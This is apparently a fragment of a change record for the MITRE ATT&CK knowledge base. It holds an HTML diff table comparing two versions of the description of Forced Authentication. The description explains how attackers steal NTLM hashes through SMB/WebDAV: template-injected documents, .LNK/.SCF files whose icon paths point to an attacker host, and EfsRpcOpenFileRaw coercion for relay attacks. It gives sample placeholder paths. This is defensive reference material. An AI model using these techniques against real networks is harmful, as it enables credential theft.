                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to78__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to78__0\"><a href=\"#difflib_chg_to78__top\">t</a></td><td class=\"diff_header\" id=\"from78_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;credential&nbsp;material&nbsp;by&nbsp;invoking&nbsp;or&nbsp;fo</td><td class=\"diff_next\"><a href=\"#difflib_chg_to78__top\">t</a></td><td class=\"diff_header\" id=\"to78_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;gather&nbsp;credential&nbsp;material&nbsp;by&nbsp;invoking&nbsp;or&nbsp;fo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rcing&nbsp;a&nbsp;user&nbsp;to&nbsp;automatically&nbsp;provide&nbsp;authentication&nbsp;informa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rcing&nbsp;a&nbsp;user&nbsp;to&nbsp;automatically&nbsp;provide&nbsp;authentication&nbsp;informa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;through&nbsp;a&nbsp;mechanism&nbsp;in&nbsp;which&nbsp;they&nbsp;can&nbsp;intercept.&nbsp;&nbsp;The&nbsp;S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;through&nbsp;a&nbsp;mechanism&nbsp;in&nbsp;which&nbsp;they&nbsp;can&nbsp;intercept<span class=\"diff_add\">&nbsp;that&nbsp;in</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">erver&nbsp;Message&nbsp;Block&nbsp;(SMB)&nbsp;protocol&nbsp;is&nbsp;commonly&nbsp;used&nbsp;in&nbsp;Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">formation</span>.&nbsp;&nbsp;The&nbsp;Server&nbsp;Message&nbsp;Block&nbsp;(SMB)&nbsp;protocol&nbsp;is&nbsp;commo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;networks&nbsp;for&nbsp;authentication&nbsp;and&nbsp;communication&nbsp;between&nbsp;sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nly&nbsp;used&nbsp;in&nbsp;Windows&nbsp;networks&nbsp;for&nbsp;authentication&nbsp;and&nbsp;communic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tems&nbsp;for&nbsp;access&nbsp;to&nbsp;resources&nbsp;and&nbsp;file&nbsp;sharing.&nbsp;When&nbsp;a&nbsp;Window</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;between&nbsp;systems&nbsp;for&nbsp;access&nbsp;to&nbsp;resources&nbsp;and&nbsp;file&nbsp;shari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;system&nbsp;attempts&nbsp;to&nbsp;connect&nbsp;to&nbsp;an&nbsp;SMB&nbsp;resource&nbsp;it&nbsp;will&nbsp;auto</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng.&nbsp;When&nbsp;a&nbsp;Windows&nbsp;system&nbsp;attempts&nbsp;to&nbsp;connect&nbsp;to&nbsp;an&nbsp;SMB&nbsp;reso</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">matically&nbsp;attempt&nbsp;to&nbsp;authenticate&nbsp;and&nbsp;send&nbsp;credential&nbsp;inform</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urce&nbsp;it&nbsp;will&nbsp;automatically&nbsp;attempt&nbsp;to&nbsp;authenticate&nbsp;and&nbsp;send&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;for&nbsp;the&nbsp;current&nbsp;user&nbsp;to&nbsp;the&nbsp;remote&nbsp;system.(Citation:&nbsp;W</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">credential&nbsp;information&nbsp;for&nbsp;the&nbsp;current&nbsp;user&nbsp;to&nbsp;the&nbsp;remote&nbsp;sy</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ikipedia&nbsp;Server&nbsp;Message&nbsp;Block)&nbsp;This&nbsp;behavior&nbsp;is&nbsp;typical&nbsp;in&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stem.(Citation:&nbsp;Wikipedia&nbsp;Server&nbsp;Message&nbsp;Block)&nbsp;This&nbsp;behavio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nterprise&nbsp;environments&nbsp;so&nbsp;that&nbsp;users&nbsp;do&nbsp;not&nbsp;need&nbsp;to&nbsp;enter&nbsp;cr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;is&nbsp;typical&nbsp;in&nbsp;enterprise&nbsp;environments&nbsp;so&nbsp;that&nbsp;users&nbsp;do&nbsp;not</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">edentials&nbsp;to&nbsp;access&nbsp;network&nbsp;resources.&nbsp;&nbsp;Web&nbsp;Distributed&nbsp;Auth</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;need&nbsp;to&nbsp;enter&nbsp;credentials&nbsp;to&nbsp;access&nbsp;network&nbsp;resources.&nbsp;&nbsp;Web</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oring&nbsp;and&nbsp;Versioning&nbsp;(WebDAV)&nbsp;is&nbsp;also&nbsp;typically&nbsp;used&nbsp;by&nbsp;Wind</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Distributed&nbsp;Authoring&nbsp;and&nbsp;Versioning&nbsp;(WebDAV)&nbsp;is&nbsp;also&nbsp;typic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ows&nbsp;systems&nbsp;as&nbsp;a&nbsp;backup&nbsp;protocol&nbsp;when&nbsp;SMB&nbsp;is&nbsp;blocked&nbsp;or&nbsp;fail</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ally&nbsp;used&nbsp;by&nbsp;Windows&nbsp;systems&nbsp;as&nbsp;a&nbsp;backup&nbsp;protocol&nbsp;when&nbsp;SMB&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;WebDAV&nbsp;is&nbsp;an&nbsp;extension&nbsp;of&nbsp;HTTP&nbsp;and&nbsp;will&nbsp;typically&nbsp;operate</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;blocked&nbsp;or&nbsp;fails.&nbsp;WebDAV&nbsp;is&nbsp;an&nbsp;extension&nbsp;of&nbsp;HTTP&nbsp;and&nbsp;will&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;over&nbsp;TCP&nbsp;ports&nbsp;80&nbsp;and&nbsp;443.(Citation:&nbsp;Didier&nbsp;Stevens&nbsp;WebDAV&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">typically&nbsp;operate&nbsp;over&nbsp;TCP&nbsp;ports&nbsp;80&nbsp;and&nbsp;443.(Citation:&nbsp;Didie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Traffic)(Citation:&nbsp;Microsoft&nbsp;Managing&nbsp;WebDAV&nbsp;Security)&nbsp;&nbsp;Adve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;Stevens&nbsp;WebDAV&nbsp;Traffic)(Citation:&nbsp;Microsoft&nbsp;Managing&nbsp;WebDA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsaries&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;this&nbsp;behavior&nbsp;to&nbsp;gain&nbsp;access&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">V&nbsp;Security)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;take&nbsp;advantage&nbsp;of&nbsp;this&nbsp;behavior</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;user&nbsp;account&nbsp;hashes&nbsp;through&nbsp;forced&nbsp;SMB/WebDAV&nbsp;authenticati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;user&nbsp;account&nbsp;hashes&nbsp;through&nbsp;forced&nbsp;SMB/We</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on.&nbsp;An&nbsp;adversary&nbsp;can&nbsp;send&nbsp;an&nbsp;attachment&nbsp;to&nbsp;a&nbsp;user&nbsp;through&nbsp;sp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bDAV&nbsp;authentication.&nbsp;An&nbsp;adversary&nbsp;can&nbsp;send&nbsp;an&nbsp;attachment&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">earphishing&nbsp;that&nbsp;contains&nbsp;a&nbsp;resource&nbsp;link&nbsp;to&nbsp;an&nbsp;external&nbsp;ser</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;user&nbsp;through&nbsp;spearphishing&nbsp;that&nbsp;contains&nbsp;a&nbsp;resource&nbsp;link&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ver&nbsp;controlled&nbsp;by&nbsp;the&nbsp;adversary&nbsp;&nbsp;(i.e.&nbsp;[Template&nbsp;Injection](</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;an&nbsp;external&nbsp;server&nbsp;controlled&nbsp;by&nbsp;the&nbsp;adversary&nbsp;&nbsp;(i.e.&nbsp;[Tem</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1221)),&nbsp;or&nbsp;place&nbsp;a&nbsp;spec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">plate&nbsp;Injection](https://attack.mitre.org/techniques/T1221))</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ially&nbsp;crafted&nbsp;file&nbsp;on&nbsp;navigation&nbsp;path&nbsp;for&nbsp;privileged&nbsp;account</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;or&nbsp;place&nbsp;a&nbsp;specially&nbsp;crafted&nbsp;file&nbsp;on&nbsp;navigation&nbsp;path&nbsp;for&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;(e.g.&nbsp;.SCF&nbsp;file&nbsp;placed&nbsp;on&nbsp;desktop)&nbsp;or&nbsp;on&nbsp;a&nbsp;publicly&nbsp;access</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rivileged&nbsp;accounts&nbsp;(e.g.&nbsp;.SCF&nbsp;file&nbsp;placed&nbsp;on&nbsp;desktop)&nbsp;or&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ible&nbsp;share&nbsp;to&nbsp;be&nbsp;accessed&nbsp;by&nbsp;victim(s).&nbsp;When&nbsp;the&nbsp;user's&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;publicly&nbsp;accessible&nbsp;share&nbsp;to&nbsp;be&nbsp;accessed&nbsp;by&nbsp;victim(s).&nbsp;Whe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;accesses&nbsp;the&nbsp;untrusted&nbsp;resource,&nbsp;it&nbsp;will&nbsp;attempt&nbsp;authenti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;the&nbsp;user's&nbsp;system&nbsp;accesses&nbsp;the&nbsp;untrusted&nbsp;resource,&nbsp;it&nbsp;will</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;and&nbsp;send&nbsp;information,&nbsp;including&nbsp;the&nbsp;user's&nbsp;hashed&nbsp;cre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;attempt&nbsp;authentication&nbsp;and&nbsp;send&nbsp;information,&nbsp;including&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dentials,&nbsp;over&nbsp;SMB&nbsp;to&nbsp;the&nbsp;adversary-controlled&nbsp;server.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">user's&nbsp;hashed&nbsp;credentials,&nbsp;over&nbsp;SMB&nbsp;to&nbsp;the&nbsp;adversary-control</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;GitHub&nbsp;Hashjacking)&nbsp;With&nbsp;access&nbsp;to&nbsp;the&nbsp;credential&nbsp;hash,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">led&nbsp;server.(Citation:&nbsp;GitHub&nbsp;Hashjacking)&nbsp;With&nbsp;access&nbsp;to&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;an&nbsp;adversary&nbsp;can&nbsp;perform&nbsp;off-line&nbsp;[Brute&nbsp;Force](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;credential&nbsp;hash,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;perform&nbsp;off-line&nbsp;[Brute&nbsp;F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1110)&nbsp;cracking&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">orce](https://attack.mitre.org/techniques/T1110)&nbsp;cracking&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">laintext&nbsp;credentials.(Citation:&nbsp;Cylance&nbsp;Redirect&nbsp;to&nbsp;SMB)&nbsp;&nbsp;Th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;gain&nbsp;access&nbsp;to&nbsp;plaintext&nbsp;credentials.(Citation:&nbsp;Cylance&nbsp;Red</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ere&nbsp;are&nbsp;several&nbsp;different&nbsp;ways&nbsp;this&nbsp;can&nbsp;occur.(Citation:&nbsp;Osa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">irect&nbsp;to&nbsp;SMB)&nbsp;&nbsp;There&nbsp;are&nbsp;several&nbsp;different&nbsp;ways&nbsp;this&nbsp;can&nbsp;occ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nda&nbsp;Stealing&nbsp;NetNTLM&nbsp;Hashes)&nbsp;Some&nbsp;specifics&nbsp;from&nbsp;in-the-wild</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ur.(Citation:&nbsp;Osanda&nbsp;Stealing&nbsp;NetNTLM&nbsp;Hashes)&nbsp;Some&nbsp;specifics</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;use&nbsp;include:&nbsp;&nbsp;*&nbsp;A&nbsp;spearphishing&nbsp;attachment&nbsp;containing&nbsp;a&nbsp;doc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;in-the-wild&nbsp;use&nbsp;include:&nbsp;&nbsp;*&nbsp;A&nbsp;spearphishing&nbsp;attachment</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ument&nbsp;with&nbsp;a&nbsp;resource&nbsp;that&nbsp;is&nbsp;automatically&nbsp;loaded&nbsp;when&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;containing&nbsp;a&nbsp;document&nbsp;with&nbsp;a&nbsp;resource&nbsp;that&nbsp;is&nbsp;automatically</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">document&nbsp;is&nbsp;opened&nbsp;(i.e.&nbsp;[Template&nbsp;Injection](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;loaded&nbsp;when&nbsp;the&nbsp;document&nbsp;is&nbsp;opened&nbsp;(i.e.&nbsp;[Template&nbsp;Injectio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1221)).&nbsp;The&nbsp;document&nbsp;can&nbsp;include,&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n](https://attack.mitre.org/techniques/T1221)).&nbsp;The&nbsp;document</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;example,&nbsp;a&nbsp;request&nbsp;similar&nbsp;to&nbsp;&lt;code&gt;file[:]//[remote&nbsp;addres</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;can&nbsp;include,&nbsp;for&nbsp;example,&nbsp;a&nbsp;request&nbsp;similar&nbsp;to&nbsp;&lt;code&gt;file[:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s]/Normal.dotm&lt;/code&gt;&nbsp;to&nbsp;trigger&nbsp;the&nbsp;SMB&nbsp;request.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">]//[remote&nbsp;address]/Normal.dotm&lt;/code&gt;&nbsp;to&nbsp;trigger&nbsp;the&nbsp;SMB&nbsp;re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">US-CERT&nbsp;APT&nbsp;Energy&nbsp;Oct&nbsp;2017)&nbsp;*&nbsp;A&nbsp;modified&nbsp;.LNK&nbsp;or&nbsp;.SCF&nbsp;file&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">quest.(Citation:&nbsp;US-CERT&nbsp;APT&nbsp;Energy&nbsp;Oct&nbsp;2017)&nbsp;*&nbsp;A&nbsp;modified&nbsp;.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">with&nbsp;the&nbsp;icon&nbsp;filename&nbsp;pointing&nbsp;to&nbsp;an&nbsp;external&nbsp;reference&nbsp;suc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">LNK&nbsp;or&nbsp;.SCF&nbsp;file&nbsp;with&nbsp;the&nbsp;icon&nbsp;filename&nbsp;pointing&nbsp;to&nbsp;an&nbsp;exter</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;as&nbsp;&lt;code&gt;\\\\[remote&nbsp;address]\\pic.png&lt;/code&gt;&nbsp;that&nbsp;will&nbsp;force</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;reference&nbsp;such&nbsp;as&nbsp;&lt;code&gt;\\\\[remote&nbsp;address]\\pic.png&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;system&nbsp;to&nbsp;load&nbsp;the&nbsp;resource&nbsp;when&nbsp;the&nbsp;icon&nbsp;is&nbsp;rendered&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;&nbsp;that&nbsp;will&nbsp;force&nbsp;the&nbsp;system&nbsp;to&nbsp;load&nbsp;the&nbsp;resource&nbsp;when&nbsp;the&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;repeatedly&nbsp;gather&nbsp;credentials.(Citation:&nbsp;US-CERT&nbsp;APT&nbsp;Energ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">con&nbsp;is&nbsp;rendered&nbsp;to&nbsp;repeatedly&nbsp;gather&nbsp;credentials.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;Oct&nbsp;2017)&nbsp;&nbsp;Alternatively,&nbsp;by&nbsp;leveraging&nbsp;the&nbsp;&lt;code&gt;EfsRpcOp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">US-CERT&nbsp;APT&nbsp;Energy&nbsp;Oct&nbsp;2017)&nbsp;&nbsp;Alternatively,&nbsp;by&nbsp;leveraging&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">enFileRaw&lt;/code&gt;&nbsp;function,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;send&nbsp;SMB&nbsp;request</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;&lt;code&gt;EfsRpcOpenFileRaw&lt;/code&gt;&nbsp;function,&nbsp;an&nbsp;adversary&nbsp;can</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;a&nbsp;remote&nbsp;system's&nbsp;MS-EFSRPC&nbsp;interface&nbsp;and&nbsp;force&nbsp;the&nbsp;vic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;send&nbsp;SMB&nbsp;requests&nbsp;to&nbsp;a&nbsp;remote&nbsp;system's&nbsp;MS-EFSRPC&nbsp;interface&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tim&nbsp;computer&nbsp;to&nbsp;initiate&nbsp;an&nbsp;authentication&nbsp;procedure&nbsp;and&nbsp;sha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;force&nbsp;the&nbsp;victim&nbsp;computer&nbsp;to&nbsp;initiate&nbsp;an&nbsp;authentication&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;its&nbsp;authentication&nbsp;details.&nbsp;The&nbsp;Encrypting&nbsp;File&nbsp;System&nbsp;Re</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">procedure&nbsp;and&nbsp;share&nbsp;its&nbsp;authentication&nbsp;details.&nbsp;The&nbsp;Encrypti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mote&nbsp;Protocol&nbsp;(EFSRPC)&nbsp;is&nbsp;a&nbsp;protocol&nbsp;used&nbsp;in&nbsp;Windows&nbsp;network</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;File&nbsp;System&nbsp;Remote&nbsp;Protocol&nbsp;(EFSRPC)&nbsp;is&nbsp;a&nbsp;protocol&nbsp;used&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;for&nbsp;maintenance&nbsp;and&nbsp;management&nbsp;operations&nbsp;on&nbsp;encrypted&nbsp;dat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Windows&nbsp;networks&nbsp;for&nbsp;maintenance&nbsp;and&nbsp;management&nbsp;operations</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;that&nbsp;is&nbsp;stored&nbsp;remotely&nbsp;to&nbsp;be&nbsp;accessed&nbsp;over&nbsp;a&nbsp;network.&nbsp;Uti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;on&nbsp;encrypted&nbsp;data&nbsp;that&nbsp;is&nbsp;stored&nbsp;remotely&nbsp;to&nbsp;be&nbsp;accessed&nbsp;ov</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lization&nbsp;of&nbsp;&lt;code&gt;EfsRpcOpenFileRaw&lt;/code&gt;&nbsp;function&nbsp;in&nbsp;EFSRP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;a&nbsp;network.&nbsp;Utilization&nbsp;of&nbsp;&lt;code&gt;EfsRpcOpenFileRaw&lt;/code&gt;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">C&nbsp;is&nbsp;used&nbsp;to&nbsp;open&nbsp;an&nbsp;encrypted&nbsp;object&nbsp;on&nbsp;the&nbsp;server&nbsp;for&nbsp;back</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">function&nbsp;in&nbsp;EFSRPC&nbsp;is&nbsp;used&nbsp;to&nbsp;open&nbsp;an&nbsp;encrypted&nbsp;object&nbsp;on&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">up&nbsp;or&nbsp;restore.&nbsp;Adversaries&nbsp;can&nbsp;collect&nbsp;this&nbsp;data&nbsp;and&nbsp;abuse&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;server&nbsp;for&nbsp;backup&nbsp;or&nbsp;restore.&nbsp;Adversaries&nbsp;can&nbsp;collect&nbsp;this</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;as&nbsp;part&nbsp;of&nbsp;a&nbsp;NTLM&nbsp;relay&nbsp;attack&nbsp;to&nbsp;gain&nbsp;access&nbsp;to&nbsp;remote&nbsp;sy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;data&nbsp;and&nbsp;abuse&nbsp;it&nbsp;as&nbsp;part&nbsp;of&nbsp;a<span class=\"diff_add\">n</span>&nbsp;NTLM&nbsp;relay&nbsp;attack&nbsp;to&nbsp;gain&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stems&nbsp;on&nbsp;the&nbsp;same&nbsp;internal&nbsp;network.(Citation:&nbsp;Rapid7)(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccess&nbsp;to&nbsp;remote&nbsp;systems&nbsp;on&nbsp;the&nbsp;same&nbsp;internal&nbsp;network.(Citati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;GitHub)&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 